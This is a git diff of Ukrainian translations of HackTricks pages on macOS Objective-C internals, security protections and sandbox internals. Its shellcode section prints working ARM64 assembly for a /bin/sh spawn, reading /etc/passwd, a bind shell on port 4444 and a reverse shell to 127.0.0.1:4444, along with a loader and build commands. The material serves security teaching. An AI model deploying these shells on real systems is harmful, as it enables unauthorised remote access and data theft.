|
||||
* x0: self -> Вказівник на екземпляр
|
||||
* x1: op -> Селектор методу
|
||||
* x2... -> Решта аргументів викликаного методу
|
||||
* x2... -> Інші аргументи викликаного методу
|
||||
|
||||
Таким чином, якщо ви встановите точку зупинки перед гілкою до цієї функції, ви легко зможете знайти, що викликається в lldb (у цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
|
||||
Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви зможете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -392,32 +393,32 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Встановлення змінної середовища **`NSObjCMessageLoggingEnabled=1`** дозволяє реєструвати, коли ця функція викликається в файлі, наприклад, `/tmp/msgSends-pid`.
|
||||
Встановивши змінну середовища **`NSObjCMessageLoggingEnabled=1`**, можна записувати, коли ця функція викликається у файлі, наприклад, `/tmp/msgSends-pid`.
|
||||
|
||||
Крім того, встановлення **`OBJC_HELP=1`** і виклик будь-якого виконуваного файлу дозволяє переглянути інші змінні середовища, які можна використовувати для **реєстрації** випадків виконання певних дій Objc-C.
|
||||
Крім того, встановивши **`OBJC_HELP=1`** та викликавши будь-який бінарний файл, ви можете побачити інші змінні середовища, які можна використовувати для **логування**, коли відбуваються певні дії Objc-C.
|
||||
{% endhint %}
|
||||
|
||||
Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляру, для цього виконуються різні пошуки:
|
||||
Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляра, для цього проводяться різні пошуки:
|
||||
|
||||
* Виконати оптимістичний пошук в кеші:
|
||||
* Якщо успішно, завершено
|
||||
* Виконати оптимістичний пошук у кеші:
|
||||
* Якщо успішно, завершити
|
||||
* Отримати runtimeLock (читання)
|
||||
* Якщо (реалізувати && !cls->realized) реалізувати клас
|
||||
* Якщо (ініціалізувати && !cls->initialized) ініціалізувати клас
|
||||
* Якщо (realize && !cls->realized) реалізувати клас
|
||||
* Якщо (initialize && !cls->initialized) ініціалізувати клас
|
||||
* Спробувати власний кеш класу:
|
||||
* Якщо успішно, завершено
|
||||
* Якщо успішно, завершити
|
||||
* Спробувати список методів класу:
|
||||
* Якщо знайдено, заповнити кеш і завершено
|
||||
* Спробувати кеш батьківського класу:
|
||||
* Якщо успішно, завершено
|
||||
* Спробувати список методів батьківського класу:
|
||||
* Якщо знайдено, заповнити кеш і завершено
|
||||
* Якщо (розв'язувач) спробувати розв'язувач методу і повторити з пошуку класу
|
||||
* Якщо все ще тут (= все інше не вдалося), спробувати пересилальник
|
||||
* Якщо знайдено, заповнити кеш і завершити
|
||||
* Спробувати кеш суперкласу:
|
||||
* Якщо успішно, завершити
|
||||
* Спробувати список методів суперкласу:
|
||||
* Якщо знайдено, заповнити кеш і завершити
|
||||
* Якщо (resolver) спробувати метод резолвера, і повторити з пошуку класу
|
||||
* Якщо все ще тут (= все інше не вдалося) спробувати forwarder
|
||||
|
||||
### Коди оболонки
|
||||
### Shellcodes
|
||||
|
||||
Для компіляції:
|
||||
Щоб скомпілювати:
|
||||
```bash
|
||||
as -o shell.o shell.s
|
||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||
|
@ -425,14 +426,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
Для видобутку байтів:
|
||||
Щоб витягти байти:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
Для новіших версій macOS:
|
||||
Для новіших macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -441,7 +442,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>С код для тестування shellcode</summary>
|
||||
<summary>C код для тестування shellcode</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -489,7 +490,7 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
#### Оболонка
|
||||
#### Shell
|
||||
|
||||
Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.
|
||||
|
||||
|
@ -511,7 +512,7 @@ sh_path: .asciz "/bin/sh"
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="зі стеком" %}
|
||||
{% tab title="з стеком" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -542,7 +543,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="з adr для Linux" %}
|
||||
{% tab title="з adr для linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
|
@ -558,9 +559,12 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
#### Читання за допомогою cat
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
Метою є виконання `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (що в пам'яті означає стек адрес).
|
||||
#### Читати за допомогою cat
|
||||
|
||||
Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -586,7 +590,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### Виклик команди за допомогою sh з відгалуження, щоб основний процес не був завершений
|
||||
#### Виклик команди з sh з дочірнього процесу, щоб основний процес не був вбитий
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -630,9 +634,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### Прив'язка оболонки
|
||||
#### Bind shell
|
||||
|
||||
Прив'язка оболонки з [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) на **порт 4444**
|
||||
Bind shell з [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) на **порті 4444**
|
||||
```armasm
|
||||
.section __TEXT,__text
|
||||
.global _main
|
||||
|
@ -714,7 +718,7 @@ mov x2, xzr
|
|||
mov x16, #59
|
||||
svc #0x1337
|
||||
```
|
||||
#### Зворотній shell
|
||||
#### Зворотний шелл
|
||||
|
||||
З [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell до **127.0.0.1:4444**
|
||||
```armasm
|
||||
|
@ -784,16 +788,16 @@ mov x16, #59
|
|||
svc #0x1337
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# macOS Security Protections
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -27,6 +27,10 @@ Gatekeeper зазвичай використовується для познач
|
|||
|
||||
## Processes Limitants
|
||||
|
||||
### MACF
|
||||
|
||||
|
||||
|
||||
### SIP - System Integrity Protection
|
||||
|
||||
{% content-ref url="macos-sip.md" %}
|
||||
|
@ -51,7 +55,7 @@ MacOS Sandbox **обмежує програми**, що працюють все
|
|||
|
||||
### Launch/Environment Constraints & Trust Cache
|
||||
|
||||
Обмеження запуску в macOS є функцією безпеки для **регулювання ініціації процесів**, визначаючи **хто може запустити** процес, **як** і **звідки**. Введені в macOS Ventura, вони класифікують системні бінарні файли в категорії обмежень у **кеші довіри**. Кожен виконуваний бінар має встановлені **правила** для свого **запуску**, включаючи **сам**, **батьківський** та **відповідальний** обмеження. Розширені до сторонніх програм як **Environment** Constraints в macOS Sonoma, ці функції допомагають зменшити потенційні експлуатації системи, регулюючи умови запуску процесів.
|
||||
Обмеження запуску в macOS є функцією безпеки для **регулювання ініціації процесів**, визначаючи **хто може запустити** процес, **як** і **звідки**. Введені в macOS Ventura, вони класифікують системні двійкові файли в категорії обмежень у **кеші довіри**. Кожен виконуваний двійковий файл має встановлені **правила** для свого **запуску**, включаючи **себе**, **батька** та **відповідальні** обмеження. Розширені до сторонніх програм як **Environment** Constraints в macOS Sonoma, ці функції допомагають зменшити потенційні експлуатації системи, регулюючи умови запуску процесів.
|
||||
|
||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||
|
@ -61,7 +65,7 @@ MacOS Sandbox **обмежує програми**, що працюють все
|
|||
|
||||
Інструмент видалення шкідливих програм (MRT) є ще однією частиною інфраструктури безпеки macOS. Як випливає з назви, основна функція MRT полягає в **видаленні відомих шкідливих програм з заражених систем**.
|
||||
|
||||
Коли шкідливе програмне забезпечення виявляється на Mac (або за допомогою XProtect, або іншим способом), MRT може бути використаний для автоматичного **видалення шкідливого програмного забезпечення**. MRT працює тихо у фоновому режимі і зазвичай запускається щоразу, коли система оновлюється або коли завантажується нове визначення шкідливого програмного забезпечення (схоже, що правила, які MRT має для виявлення шкідливого програмного забезпечення, знаходяться всередині бінару).
|
||||
Коли шкідливе програмне забезпечення виявляється на Mac (або за допомогою XProtect, або іншим способом), MRT може бути використано для автоматичного **видалення шкідливого програмного забезпечення**. MRT працює тихо у фоновому режимі і зазвичай запускається щоразу, коли система оновлюється або коли завантажується нове визначення шкідливого програмного забезпечення (схоже, що правила, які MRT має для виявлення шкідливого програмного забезпечення, знаходяться всередині двійкового файлу).
|
||||
|
||||
Хоча як XProtect, так і MRT є частинами заходів безпеки macOS, вони виконують різні функції:
|
||||
|
||||
|
@ -78,7 +82,7 @@ MacOS Sandbox **обмежує програми**, що працюють все
|
|||
|
||||
Це працює з **демоном**, розташованим у `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`, і **агентом** у `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
||||
|
||||
Спосіб, яким **`backgroundtaskmanagementd`** дізнається, що щось встановлено в постійній папці, полягає в **отриманні FSEvents** і створенні деяких **обробників** для них.
|
||||
Спосіб, яким **`backgroundtaskmanagementd`** дізнається, що щось встановлено в постійну папку, полягає в **отриманні FSEvents** і створенні деяких **обробників** для них.
|
||||
|
||||
Більше того, існує файл plist, який містить **добре відомі програми**, які часто зберігаються, що підтримується Apple, розташований у: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||
```json
|
||||
|
@ -142,9 +146,10 @@ T
|
|||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
|
|
|
@ -249,7 +249,7 @@ In `/tmp/trace.out` ви зможете побачити кожну переві
|
|||
|
||||
#### Через API
|
||||
|
||||
Функція `sandbox_set_trace_path`, експортована з `libsystem_sandbox.dylib`, дозволяє вказати ім'я файлу трасування, куди будуть записані перевірки пісочниці.\
|
||||
Функція `sandbox_set_trace_path`, експортована `libsystem_sandbox.dylib`, дозволяє вказати ім'я файлу трасування, куди будуть записані перевірки пісочниці.\
|
||||
Також можливо зробити щось подібне, викликавши `sandbox_vtrace_enable()` і отримавши журнали помилок з буфера, викликавши `sandbox_vtrace_report()`.
|
||||
|
||||
### Інспекція пісочниці
|
||||
|
@ -266,9 +266,9 @@ MacOS зберігає системні профілі пісочниці у д
|
|||
|
||||
### Користувацький SBPL у додатках App Store
|
||||
|
||||
Можливо, що компанії можуть змусити свої додатки працювати **з користувацькими профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати в Apple.
|
||||
Можливо, що компанії можуть змусити свої додатки працювати **з користувацькими профілями пісочниці** (замість за замовчуванням). Вони повинні використовувати право **`com.apple.security.temporary-exception.sbpl`**, яке потрібно авторизувати Apple.
|
||||
|
||||
Можна перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
Можливо перевірити визначення цього права в **`/System/Library/Sandbox/Profiles/application.sb:`**
|
||||
```scheme
|
||||
(sandbox-array-entitlement
|
||||
"com.apple.security.temporary-exception.sbpl"
|
||||
|
@ -310,7 +310,7 @@ MacOS зберігає системні профілі пісочниці у д
|
|||
|
||||
Розширення зберігаються в другому слоті мітки MACF, доступному з облікових даних процесу. Наступний **`sbtool`** може отримати доступ до цієї інформації.
|
||||
|
||||
Зверніть увагу, що розширення зазвичай надаються дозволеними процесами, наприклад, `tccd` надасть токен розширення `com.apple.tcc.kTCCServicePhotos`, коли процес намагався отримати доступ до фотографій і був дозволений у повідомленні XPC. Тоді процесу потрібно буде спожити токен розширення, щоб він був доданий до нього.\
|
||||
Зверніть увагу, що розширення зазвичай надаються дозволеними процесами, наприклад, `tccd` надасть токен розширення `com.apple.tcc.kTCCServicePhotos`, коли процес намагався отримати доступ до фотографій і отримав дозвіл у повідомленні XPC. Тоді процесу потрібно буде спожити токен розширення, щоб він був доданий до нього.\
|
||||
Зверніть увагу, що токени розширення є довгими шістнадцятковими числами, які кодують надані дозволи. Однак у них немає жорстко закодованого дозволеного PID, що означає, що будь-який процес з доступом до токена може бути **спожитий кількома процесами**.
|
||||
|
||||
Зверніть увагу, що розширення дуже пов'язані з правами, тому наявність певних прав може автоматично надавати певні розширення.
|
||||
|
@ -330,7 +330,7 @@ sbtool <pid> all
|
|||
|
||||
Також можливо призупинити та відновити пісочницю, використовуючи функції `sandbox_suspend` та `sandbox_unsuspend` з `libsystem_sandbox.dylib`.
|
||||
|
||||
Зверніть увагу, що для виклику функції призупинення перевіряються деякі права для авторизації виклику, такі як:
|
||||
Зверніть увагу, що для виклику функції призупинення перевіряються деякі права, щоб авторизувати виклик, такі як:
|
||||
|
||||
* com.apple.private.security.sandbox-manager
|
||||
* com.apple.security.print
|
||||
|
@ -340,7 +340,7 @@ sbtool <pid> all
|
|||
|
||||
Цей системний виклик (#381) очікує один рядок як перший аргумент, який вказуватиме модуль для виконання, а потім код у другому аргументі, який вказуватиме функцію для виконання. Третій аргумент залежатиме від виконуваної функції.
|
||||
|
||||
Виклик функції `___sandbox_ms` обгортає `mac_syscall`, вказуючи в першому аргументі `"Sandbox"`, так само як `___sandbox_msp` є обгорткою для `mac_set_proc` (#387). Деякі з підтримуваних кодів `___sandbox_ms` можна знайти в цій таблиці:
|
||||
Виклик функції `___sandbox_ms` обгортає `mac_syscall`, вказуючи в першому аргументі `"Sandbox"`, так само як `___sandbox_msp` є обгорткою для `mac_set_proc` (#387). Далі деякі з підтримуваних кодів `___sandbox_ms` можна знайти в цій таблиці:
|
||||
|
||||
* **set\_profile (#0)**: Застосувати скомпільований або названий профіль до процесу.
|
||||
* **platform\_policy (#1)**: Застосувати перевірки політики, специфічні для платформи (варіюється між macOS та iOS).
|
||||
|
@ -373,25 +373,25 @@ sbtool <pid> all
|
|||
|
||||
## Sandbox.kext
|
||||
|
||||
Зверніть увагу, що в iOS розширення ядра містить **жорстко закодовані всі профілі** всередині сегмента `__TEXT.__const`, щоб уникнути їх модифікації. Наступні функції з розширення ядра є цікавими:
|
||||
Зверніть увагу, що в iOS розширення ядра містить **жорстко закодовані всі профілі** всередині сегмента `__TEXT.__const`, щоб уникнути їх модифікації. Наступні є деякими цікавими функціями з розширення ядра:
|
||||
|
||||
* **`hook_policy_init`**: Він підключає `mpo_policy_init` і викликається після `mac_policy_register`. Він виконує більшість ініціалізацій пісочниці. Він також ініціалізує SIP.
|
||||
* **`hook_policy_initbsd`**: Налаштовує інтерфейс sysctl, реєструючи `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` та `security.mac.sandbox.debug_mode` (якщо завантажено з `PE_i_can_has_debugger`).
|
||||
* **`hook_policy_syscall`**: Викликається `mac_syscall` з "Sandbox" як першим аргументом і кодом, що вказує на операцію, у другому. Використовується оператор switch для знаходження коду для виконання відповідно до запитуваного коду.
|
||||
* **`hook_policy_syscall`**: Викликається `mac_syscall` з "Sandbox" як перший аргумент і кодом, що вказує на операцію, у другому. Використовується оператор switch для знаходження коду для виконання відповідно до запитуваного коду.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** використовує більше ста хуків через MACF. Більшість хуків просто перевіряють деякі тривіальні випадки, які дозволяють виконати дію, якщо ні, вони викликають **`cred_sb_evalutate`** з **обліковими даними** з MACF та номером, що відповідає **операції**, яку потрібно виконати, і **буфером** для виходу.
|
||||
|
||||
Хорошим прикладом цього є функція **`_mpo_file_check_mmap`**, яка підключає **`mmap`** і яка почне перевіряти, чи буде нова пам'ять записуваною (і якщо ні, дозволить виконання), потім перевірить, чи використовується вона для спільного кешу dyld, і якщо так, дозволить виконання, а в кінці викличе **`cred_sb_evalutate`** для виконання подальших перевірок дозволу.
|
||||
Добрим прикладом цього є функція **`_mpo_file_check_mmap`**, яка підключила **`mmap`** і яка почне перевіряти, чи буде нова пам'ять записуваною (і якщо ні, дозволить виконання), потім перевірить, чи використовується вона для спільного кешу dyld, і якщо так, дозволить виконання, а нарешті викличе **`sb_evaluate_internal`** (або одну з його обгорток) для виконання подальших перевірок дозволу.
|
||||
|
||||
Більше того, з сотень хуків, які використовує пісочниця, є 3, які особливо цікаві:
|
||||
|
||||
* `mpo_proc_check_for`: Застосовує профіль, якщо це необхідно, і якщо він не був раніше застосований.
|
||||
* `mpo_vnode_check_exec`: Викликається, коли процес завантажує відповідний бінарний файл, потім виконується перевірка профілю, а також перевірка, що забороняє виконання SUID/SGID.
|
||||
* `mpo_vnode_check_exec`: Викликається, коли процес завантажує асоційований бінарний файл, потім виконується перевірка профілю, а також перевірка, що забороняє виконання SUID/SGID.
|
||||
* `mpo_cred_label_update_execve`: Це викликається, коли призначається мітка. Це найдовший, оскільки викликається, коли бінарний файл повністю завантажений, але ще не виконаний. Він виконає дії, такі як створення об'єкта пісочниці, прикріплення структури пісочниці до облікових даних kauth, видалення доступу до mach портів...
|
||||
|
||||
Зверніть увагу, що **`cred_sb_evalutate`** є обгорткою над **`sb_evaluate`**, і ця функція отримує передані облікові дані, а потім виконує оцінку, використовуючи функцію **`eval`**, яка зазвичай оцінює **профіль платформи**, який за замовчуванням застосовується до всіх процесів, а потім **специфічний профіль процесу**. Зверніть увагу, що профіль платформи є одним з основних компонентів **SIP** в macOS.
|
||||
Зверніть увагу, що **`_cred_sb_evalutate`** є обгорткою над **`sb_evaluate_internal`**, і ця функція отримує передані облікові дані, а потім виконує оцінку, використовуючи функцію **`eval`**, яка зазвичай оцінює **профіль платформи**, який за замовчуванням застосовується до всіх процесів, а потім **специфічний профіль процесу**. Зверніть увагу, що профіль платформи є одним з основних компонентів **SIP** в macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
|
|
Loading…
Reference in a new issue